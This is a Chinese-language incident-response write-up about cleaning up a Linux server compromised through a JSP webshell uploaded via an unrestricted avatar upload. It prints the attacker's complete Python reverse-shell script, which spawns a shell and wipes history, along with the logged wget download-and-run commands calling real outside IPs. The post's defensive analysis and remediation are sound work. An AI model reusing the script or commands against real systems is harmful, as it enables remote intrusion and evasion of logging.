【应急案例】Linux应急记录
0x01 背景
本周是在目前公司的最后一周,周五就离职了,在这里待了2年半时间,说短也不短,职业生涯可能也没多少个2年半。出门和同事去撸串的路上收到的告警,急忙赶回来处理,很简单的一次应急,没什么技术含量,因为时间点特殊才想着记录一下,毕竟是最后一次应急响应。
0x02 排查过程
看到告警信息,发现Java进程执行了Wget操作,下载了一个Python文件,访问Python文件,内容如下:
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()
反弹脚本,确认机器被黑了。
先看下反弹进程:
admin 19363 0.0 0.0 154784 5260 ? S 19:12 0:00 python /tmp/1.py 103.224.248.18 1555
干掉,然后netstat确认下没有对外发起的ESTABLISHED连接。然后看下攻击者执行了什么命令
其中一条机器执行的命令
cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a0=.*" | sed "s/a[0-9]=//g" | sed "s/\"//g" | uniq
whoami
ls -al
ping -c 3 www.baidu.com
bash -i > (bash反弹这个攻击者肯定是没有URL编码&导致没有执行成功)
/bin/bash -i >
wget http://162.247.97.195/223.txt -O 123.jsp
ls -al
另一台执行的命令
cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a0=.*" | sed "s/a[0-9]=//g" | sed "s/\"//g" | uniq
ls -al
wget 43.229.213.219/backs/back.py
ls -al
wget
wget http://43.229.213.219/backs/back.py
pwd
wget http://43.229.213.219/backs/back.py
ls -al
ls -al /root
id
ls -al /tmp
wget http://43.229.213.219/backs/back.py -O /tmp/1.py
ls -al /tmp/1.py
ls -al /var/tmp
ls -al /tmp
python /tmp/1.py 103.224.248.18 1555
pwd
ps -aux
last
ping -c 4 192.168.192.75
ping -c 4 192.168.190.249
对照着Auditd Log
type=EXECVE msg=audit(1532430757.519:892862): argc=3 a0="ls" a1="-al" a2="/tmp"
其中一条日志的时间点是2018/7/24 19:12:37
去搜索Nginx Accesslog
cat /tmp/1 | grep '19:12:37'
66.42.53.201 - - [24/Jul/2018:19:12:37 +0800] "GET /upload/avatar/35364_big.jsp?pwd=023&i=ls%20-al%20/tmp HTTP/1.1" 200 241 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0" "-"
这里发现了多个攻击者的IP,包括:
66.42.53.201
27.102.112.62
149.28.148.146
...
Webshell文件为35364_big.jsp,很简单的一个cmd马
然后看到访问目录在/upload/avatar/下也能猜测到,开发没有限制头像处上传文件扩展名白名单导致的。
0x03 处理措施
1)删除Webshell和反弹Python脚本
2)检查两台机器还有没有对外的ESTABLISHED的连接,可能机器仍然被控制
3)让运维修改nginx限制upload目录下的jsp和jspx文件访问
4)让开发修改头像上传处添加服务端扩展名白名单限制,并检查其他上传文件的地方。
【应急案例】Linux应急记录相关推荐
- 奇安信应急响应-Linux
Linux需要经常关注的目录 /etc/passwd用户信息文件:我们需要看一下里面到底是什么,保存的用户信息 /etc/rc.d/rc.loacl:开机启动项:类似于Windows的开机启动项,有可 ...
- 2022-10-15(Linux应急响应、配置漏洞之DNS域传送、内网渗透之内网主机发现技巧)
http://noahblog.360.cn/advanced-windows-taskscheduler-playbook/@[toc] [重要]拜读的文章链接都在标题上. 一.linux应急响应 ...
- 网页篡改事件应急案例
结论建议 结论: 感染的病毒为最新的 GANDCRAB V5.2,该版本目前尚无公开解密秘钥,在不支付赎金前提下, 无法对加密文件进行解密. 该主机在 2018 年 5 月至 7 月期间,感染过多个恶 ...
- Linux 应急响应辅助笔记
目录导航 0x00 前言: 0x01 应急自动化工具: GScan: 河马: chkrootkit: 在线沙箱: 0x02 排查可能被替换的文件: 0x03 可疑用户排查: 0x04 定时任务排查: ...
- linux 应急响应 病毒清除 系统加固
概述 Linux环境下处理应急响应事件往往会更加的棘手,因为相比于Windows,Linux没有像Autorun.procexp这样的应急响应利器,也没有统一的应急响应处理流程.所以,这篇文章将会对L ...
- 运维基础(15) Linux 应急响应
Linux 环境下处理应急响应事件往往会更加棘手,因为相比于 Windows ,Linux 没有像 Autorun.procexp 这样的应急响应利器,也没有统一的应急响应处理流程. 所以 ,本文将会 ...
- Linux应急响应之挖矿篇
Linux应急响应之挖矿篇 Linux服务器经常受到挖矿木马的骚扰,严重影响服务器的正常使用.那么安全人员遇到这类问题该如何解决呢? 首先了解一下什么是挖矿 每隔一个时间点,比特币系统会在系统节点上生 ...
- 读《Linux应急响应》笔记(未完待续)
今天就想听着音乐,看看书.找到压箱底的<linux应急响应>看一看.还是蛮新的,是2021.7.1的新版. 文章目录 思维导图 挖矿事件 恶意域名 获取异常进程PID 寻找恶意⽂件样本 处 ...
- Linux应急响应-盖茨木马的处置方式
Linux应急响应-盖茨木马的处置方式 Linux盖茨木马是一类有着丰富历史,隐藏手法巧妙,网络攻击行为显著的DDoS木马,BillGates攻击程序采用C/C++语言编写,因相关的程序中分别包含&q ...
- Linux应急处置/信息搜集/漏洞检测工具---附脚本下载
Linux应急处置/信息搜集/漏洞检测工具,支持基础配置/网络流量/任务计划/环境变量/用户信息/Services/bash/恶意文件/内核Rootkit/SSH/Webshell/挖矿文件/挖矿进程 ...
最新文章
- setTimeout() setInterval()
- Spring的@Configuration使用cglib代理的效果和我自己写的简单实现
- 容器服务kubernetes弹性伸缩高级用法
- ubuntu安装php5.3
- HTML5 音视频操作
- 问题 | kali系统隐藏sshd的banner信息
- 沈大海38节jquery强化教程2016视频下载
- JAVA三大器之拦截器
- 在Windows Xp上实现Ubuntu主题风格!
- VARCHART XGantt系列教程:甘特图调度程序探究
- 基于ARM处理器的TSC2046触摸屏控制器的应用
- 此计算机无法连接道家庭组,无法加入家庭组怎么办
- 现代软件工程 第一章 【概论】练习与讨论 第10题 邓杰
- java 临时文件_Java临时文件
- NVIDIA Jetson TK1学习与开发(四):一些细节问题
- 【工厂扫码打印扫码装箱错误追溯系统】完整案例详解(PythonPyQt 源码Mysql数据库)
- cloudstack GuestNetwork Ingress-Egress rule
- CanMV K210 AI开发板全网首发,项目代码完全开源,千套开发板限时优惠!
- 超级科技赋能短视频、在线阅读行业,定制安全解决方案
- php使用QQ登录API,QQ的账号登录及api操作
热门文章
- 阴影:盒子阴影(box-shadow)和文字阴影(text-shadow)
- 潜在类别分析LCA latent class analysis
- vue中使用 百度地图 轨迹动画
- scrapy爬虫之crawlspide爬取豆瓣近一周同城活动
- elasticsearch 安装 (es数据库安装详细)
- 删除计算机其他用户名和密码是什么情况,电脑用户名怎么删除_电脑用户名怎么取消...
- 如何监控电动车充电桩能耗?
- Mybatis Plus实现修改增加时间自动填充
- 四种积分双谱算法matlab,MATLAB实现双谱线修正算法
- sonix uvc驱动的添加 RT5350支持H264